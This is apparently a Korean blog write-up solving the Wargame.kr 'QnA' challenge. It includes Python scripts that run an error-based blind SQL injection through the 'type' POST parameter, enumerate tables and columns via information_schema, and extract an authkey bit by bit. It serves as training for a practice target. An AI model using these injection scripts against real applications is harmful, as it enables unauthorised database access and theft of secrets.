[Wargame.kr] QnA

확인해보면 메뉴도 몇 개 있고 배경도 바뀌고 이래저래 정신이 없는데 to JSMaster라는 항목을 보면 여기서 문제가 생길 듯 합니다. (XSS도 될 것 같긴한데 잘 모르겠네요.)

이렇게 정보가 가는데, type=1에서 int가 가니까 아마 뭔가 취약점이 있을 것 같고

이렇게 보내보면 아무런 응답이 오지 않습니다. 그런데 정작 type = 1 and 234=23425로 보내면 응답이 오고.. 정확히 어떻게 생겨있는건지 잘 이해가 가지 않습니다. 뭐 아무튼 아래와 같이 보내보면

이렇게 응답이 옵니다. 그리고 if(0,1,(select 1 union select 2))를 하면 응답이 오지 않습니다. 이를 이용해 error based sql injection을 할 수 있을 것 같습니다.

이전과 같이 테이블명을 추출합시다.

import requests, json


def test(query):
#  print(query)
  url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
  data = {'cont':'ss', 'mail':'guest', 'type':query}
  res = requests.post(url,data=data)
  #print(res.text, len(res.text))
  return 'send' in res.text

table_name = ''
for i in range(50):
  bb = ''
  for j in range(8):
    payload = "if((select substring(lpad(bin(ord(substring(table_name,{},1))),8,0),{},1) from information_schema.tables order by table_type limit 1)=0,1,(select 1 union select 2))".format(i+1,j+1)
    #print(payload)
    if test(payload): bb += '0'
    else: bb += '1'
  if bb == '00000000': break
  print(bb)
  table_name += chr(int(bb,2))
  print(table_name)

print(table_name)

limit 1, limit 1,1 등으로 보니 authkey, message라는 테이블이 있었고 authkey, message에 있는 column들을 파악해봅시다.

import requests, json


def test(query):
#  print(query)
  url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
  data = {'cont':'ss', 'mail':'guest', 'type':query}
  res = requests.post(url,data=data)
  #print(res.text, len(res.text))
  return 'send' in res.text

column_name = ''
for i in range(50):
  bb = ''
  for j in range(8):
    payload = "if((select substring(lpad(bin(ord(substring(column_name,{},1))),8,0),{},1) from information_schema.columns where table_name=0x617574686b6579 limit 1, 1)=0,1,(select 1 union select 2))".format(i+1,j+1)
    #print(payload)
    if test(payload): bb += '0'
    else: bb += '1'
  if bb == '00000000': break
  print(bb)
  column_name += chr(int(bb,2))
  print(column_name)

print(column_name)

authkey에는 authkey가 있었고 message에는 idx, cont, mail, type이 있었습니다. 딱 봐도 authkey가 수상하네요. authkey table의 authkey column을 보면 끝납니다.

import requests, json


def test(query):
#  print(query)
  url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
  data = {'cont':'ss', 'mail':'guest', 'type':query}
  res = requests.post(url,data=data)
  #print(res.text, len(res.text))
  return 'send' in res.text

column_name = ''
for i in range(50):
  bb = ''
  for j in range(8):
    payload = "if((select substring(lpad(bin(ord(substring(authkey,{},1))),8,0),{},1) from authkey limit 0, 1)=0,1,(select 1 union select 2))".format(i+1,j+1)
    #print(payload)
    if test(payload): bb += '0'
    else: bb += '1'
  if bb == '00000000': break
  print(bb)
  column_name += chr(int(bb,2))
  print(column_name)

print(column_name)

'워게임 > Wargame.kr' 카테고리의 다른 글

[Wargame.kr] dmbs355  (0) 2019.04.03
[Wargame.kr] ip log table  (0) 2019.04.02
[Wargame.kr] SimpleBoard  (0) 2019.04.02
[Wargame.kr] web chatting  (0) 2019.03.29
  Comments